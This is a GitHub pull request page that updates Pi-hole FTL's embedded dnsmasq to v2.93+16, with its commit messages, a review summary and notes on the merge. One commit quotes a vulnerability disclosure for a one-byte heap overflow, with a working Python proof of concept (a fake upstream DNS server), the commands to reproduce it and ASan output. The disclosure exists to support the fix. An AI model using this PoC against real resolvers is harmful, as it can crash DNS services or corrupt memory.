Update embedded dnsmasq to v2.93+16 - #3018
Open
DL6ER wants to merge 15 commits into
Open
Conversation
If blockdata_expand() fails, it frees the existing block chain and returns zero. Each call to blockdata_expand() checks for the zero return, and calls blockdata_free() as part of its clean-up, resulting in a double-free and crash. Thanks to fallrig for finding this. Signed-off-by: DL6ER <dl6er@dl6er.de>
Implement the OT_DHCP6_VENDOR option type to properly handle the DHCPv6 Vendor Class option (code 16) according to RFC 3315. Previously, this option was marked as OT_INTERNAL, causing dnsmasq to fail immediately if configured by name. Bypassing this block by using the numerical option format (option6:16) caused the payload to be formatted with an unintended string-length prefix. This broke compliance because the RFC requires a fixed 4-byte Enterprise ID at the beginning of the option, followed by data blocks. This byte misalignment broke features like UEFI HTTP IPv6 Boot This patch removes the OT_INTERNAL restriction and moves the formatting logic to the parser phase, correctly assembling the wire-format layout (4-byte ID + 2-byte chunk length + string) so it can be injected directly into the network buffer. Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com> Signed-off-by: DL6ER <dl6er@dl6er.de>
An oversight in commit f9f8d19bf5f636d2313b69399c3c24b89b53bee6 leaves a code path where a repeat of a query gets an error reply which discloses the id field used in interactions with upstream servers ro get an answer to the query. By triggering this code path, an attacker can determine the id, which makes Kaminsky cache poisoning attacks much less expensive and much more certain. This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93 Thanks to Ronen Shustin from Project Atlas, Wiz for finding this problem. Signed-off-by: DL6ER <dl6er@dl6er.de>
On further analysis, the problem is deeper: Other error paths (which are not accessible to an attack) can also return an incorrect header->id value, and most error paths return incorrect query case if --do-0x20-encode is in use. Signed-off-by: DL6ER <dl6er@dl6er.de>
Thanks to Metadust/Hamza (Github: @metadust) for spotting this. Signed-off-by: DL6ER <dl6er@dl6er.de>
Thi specifically avoids bad behavior with --log-facility=/dev/null Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.
Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------
Summary
-------
When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:
if (len & 1)
((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */
packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.
Affected code (built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c)
-------------------------------------------------------------------
- Sink: src/dnsmasq/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dnsmasq/dump.c:120) <- reply_query()
(src/dnsmasq/forward.c:1224) <- check_dns_listeners() <- main().
Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.
Reproduction
------------
PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).
# Build at HEAD with dumpfile support + ASan
make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
python3 poc.py 2267 & # odd length; 1497 also fires
dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
--no-resolv --no-hosts --server=127.0.0.1#5354 \
--dumpfile=/tmp/dump.pcap --dumpmask=0xffff
# forward a query so the odd-length reply is dumped
dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3
Evidence
--------
stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dnsmasq/dump.c:243:36, ==ABORTING.
Suggested fix
-------------
Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.
---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys
PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267 # odd
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)
while True:
try:
data, addr = s.recvfrom(8192)
except socket.timeout:
print("[upstream] timeout, exiting", flush=True)
break
if len(data) < 12:
continue
qid = data[:2]
header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
# echo the question section
i = 12
while i < len(data) and data[i] != 0:
i += 1 + data[i]
end_q = i + 1 + 4 if i < len(data) else len(data)
qsec = data[12:end_q]
body = header + qsec
pad = TARGET_LEN - len(body)
body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
s.sendto(body[:TARGET_LEN], addr)
print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
break # one-shot
---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.
dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
#0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dnsmasq/dump.c:243:36
#1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dnsmasq/dump.c:120:8
#2 0x55d1d86f0533 in reply_query <ROOT>/src/dnsmasq/forward.c:1224:3
#3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq/dnsmasq.c
#4 0x55d1d8709945 in main <ROOT>/src/dnsmasq/dnsmasq.c:1318:2
#5 0x7fe839e29d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
#6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
#7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
#0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
#1 0x55d1d86c95ad in safe_malloc <ROOT>/src/dnsmasq/util.c:321:15
#2 0x7fe839e29d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dnsmasq/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4200==ABORTING
EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dnsmasq/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.
Signed-off-by: DL6ER <dl6er@dl6er.de>
When dnsmasq forks a child to handle a TCP connection, the child inherits copies of all listening sockets. These are never used but keep the underlying sockets alive in the kernel. If a network interface is removed and re-added while a child is running, the parent's attempt to re-bind fails with EADDRINUSE because the child still holds a reference. Close all listener fds (UDP and TCP) in the child immediately after fork in both do_tcp_connection() and swap_to_tcp(). [Original patch extended by Simon Kelley to include the TFTP listening socket, and to extend the existing race-protection scheme for the netlink socket to the listening sockets. Any bugs are my responsibility.] Signed-off-by: DL6ER <dl6er@dl6er.de>
This may not be necessary, as the socket doesn't revieve broadcasts, but it can't hurt. Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Corrected spelling errors in comments and function names: - recieved/receive -> received/receive - error_occured -> error_occurred - prefered -> preferred - wierd -> weird - datastuctures -> datastructures - explictly -> explicitly - ouptut -> output - arrising -> arising - encapulation -> encapsulation - scrips -> scripts - adn-hosts -> addn-hosts - removed repeated 'the the' in three comments Generated by AI (opencode). Signed-off-by: DL6ER <dl6er@dl6er.de>
Historically, DHCPv4 client options are configured as dhcp-option=option:ntp-server,.... dhcp-option=42,.... DHCPv6 long ago added dhcp-option=option6:sntp-server,.... dhcp-option=option6:31,.... This patch adds equivalents of this for DHCPv4 dhcp-option=option4:ntp-server,.... dhcp-option=option4:42,..... and for good measure dhcp-option=option:42,..... and clarifies the man page. Thanks to Martin-Éric Racine for pointing this out. Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Contributor
There was a problem hiding this comment.
Pull request overview
This pull request updates Pi-hole FTL’s embedded dnsmasq subtree to upstream master at v2.93+16, bringing in upstream security/correctness fixes and a couple of DHCP option parsing/formatting enhancements, plus the corresponding version/test adjustments in FTL.
Changes:
- Bump embedded dnsmasq version to
pi-hole-v2.93+16and align warning-site expectations. - Pull in upstream fixes across forwarding/error handling, TCP child socket hygiene, TFTP transfer handling, and log-file permission logic.
- Add/adjust DHCP option handling for DHCPv6 vendor class (option 16) and make option prefix parsing more consistent (
option4:/option6:).
Reviewed changes
Copilot reviewed 16 out of 17 changed files in this pull request and generated 2 comments.
Show a summary per file
| File | Description |
|---|---|
CMakeLists.txt |
Bumps DNSMASQ_VERSION to pi-hole-v2.93+16. |
test/dnsmasq_warnings |
Updates expected warning callsite indentation to match upstream. |
src/dnsmasq/blockdata.c |
Clarifies error-path comment in blockdata_expand(). |
src/dnsmasq/cache.c |
Renames helper to American spelling (error_occurred) and fixes a comment typo. |
src/dnsmasq/dhcp-common.c |
Marks DHCPv6 vendor-class as a dedicated type and adds formatting logic. |
src/dnsmasq/dnsmasq.c |
Ensures forked TCP children close inherited listening sockets (and related comments). |
src/dnsmasq/dnsmasq.h |
Adds OT_DHCP6_VENDOR and minor typo fixes in comments. |
src/dnsmasq/dump.c |
Refactors checksum calculation in packet dump code to avoid malformed output. |
src/dnsmasq/forward.c |
Fixes retry/error-path behavior (ID/case restoration) and adjusts cleanup timing. |
src/dnsmasq/lease.c |
Fixes a comment typo (“scripts”). |
src/dnsmasq/log.c |
Limits chown/permission changes to regular log files only. |
src/dnsmasq/network.c |
Fixes warning suppression logic and a spelling typo in a comment. |
src/dnsmasq/option.c |
Improves DHCP option prefix parsing and adds DHCPv6 vendor-class payload encoding. |
src/dnsmasq/radv.c |
Fixes a prototype parameter typo (preferred). |
src/dnsmasq/rfc1035.c |
Avoids double-free by relying on blockdata_expand()’s failure cleanup. |
src/dnsmasq/rfc3315.c |
Fixes comment typos and wording. |
src/dnsmasq/tftp.c |
Fixes repeated-RRQ handling to abandon old transfers and improves limit enforcement. |
Suppressed comments (1)
src/dnsmasq/dnsmasq.c:2341
- Typo in comment: "finshed" -> "finished".
is sent by the child has finshed the close. */
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What does this implement/fix?
Update the embedded dnsmasq to the current state of upstream
master, which is 16 commits pastv2.93. 13 of those commits touchsrc/and are included here, the remaining three only changeman/and theCHANGELOG, neither of which we vendor. As there is no upstream tag for this state,DNSMASQ_VERSIONbecomespi-hole-v2.93+16, following the+Nscheme we already used forpi-hole-v2.92test10+2.Highlights
Security
f9f8d19bleaves a code path where a repeated query gets an error reply that discloses the ID we use towards upstream servers. An attacker who can trigger this path learns the ID, which makes Kaminsky cache-poisoning attacks considerably cheaper and more reliable. This affects the stable releases 2.91, 2.92, 2.92rel2 and 2.93. Thanks to Ronen Shustin from Project Atlas, Wiz for finding this. A follow-up commit extends the fix: other error paths (not reachable by an attack) returned an incorrectheader->idas well, and most of them returned the wrong query case when--do-0x20-encodeis in use.blockdata_expand(). The function already frees the block chain when it fails, but every caller ran its ownblockdata_free()cleanup on the zero return, resulting in a double free and a crash.find_soa(). There is nothing to do for us: that fix is14094e88and was already released with v2.93, so the corresponding upstream commit is a CHANGELOG-only record.Correctness
EADDRINUSE. The parent already blocked on the pipe until the child had closed the netlink socket, and that handshake now covers the listening sockets too. A follow-up commit extends the same treatment to the route socket on *BSD.chowned if it is a regular file. Pointinglog-facilityat a device or a symlink no longer changes ownership of the target.New features
OT_DHCP6_VENDORis now implemented properly, so option 16 can be configured by name, e.g.,--dhcp-option=option6:vendor-class,343,HTTPClient. Before, configuring it by name failed outright, and working around that withoption6:16produced a payload with an unintended string-length prefix instead of the fixed 4-byte enterprise ID RFC 3315 requires. This broke, among others, UEFI HTTP IPv6 boot.option4:is accepted as the explicit counterpart tooption6:, and a numeric option is accepted after any of the prefixes, sooption:6,option4:6andoption6:23all work the way one would expect. Existingoption:andoption6:configurations are unaffected.Cosmetic
test/dnsmasq_warningshad to follow.Notes for the merge
Two commits needed a manual resolution against our tree. Both touch the child branch of
swap_to_tcp(), where we keep a Pi-hole modification that resetsdaemon->netlinkfdto-1after closing it. Upstream moves theread_write()handshake out of the#ifdef HAVE_LINUX_NETWORKblock and past the new socket-closing loop, so our reset stays with the netlink close inside the#ifdef, and the#elif defined(HAVE_BSD_NETWORK)branch is inserted after it. The result is identical to upstream apart from those two lines.Upstream carries a latent build issue that we are not affected by and that I did not paper over:
read_write(pipefd[0], &a, 1, RW_READ)is unconditional now, whileunsigned char ais still declared under#ifdef HAVE_LINUX_NETWORKin bothdo_tcp_connection()andswap_to_tcp(). We always build withHAVE_LINUX_NETWORK, so this only bites non-Linux builds. I will report it ondnsmasq-discuss.How to test the change during review
src/dnsmasq/produces no new compiler warnings.bash test/dnsmasq_warnings.shhas to pass. It diffs theLOG_WARNINGcall sites againsttest/dnsmasq_warningsand picks up the re-indentation mentioned above.test/test_final.bats, which fails on unexpectedWARNING:lines inFTL.log.dhcp-option=option6:vendor-class,343,HTTPClientand confirm the option is emitted with the 4-byte enterprise ID followed by a 2-byte length, e.g., in apihole-FTL --dnsmasq-debugcapture.option:/option6:configurations still parse, and thatoption4:is accepted.Related issue or feature (if applicable): N/A
Pull request in docs with documentation (if applicable): N/A
By submitting this pull request, I confirm the following:
git rebase)src/dnsmasq/. That tree is a verbatim copy of upstream dnsmasq and we do not carry anything in it that deviates from upstream. Fixes have to go through thednsmasq-discussmailing list first, we merge them once they are in dnsmasq master.Checklist:
developmentbranch.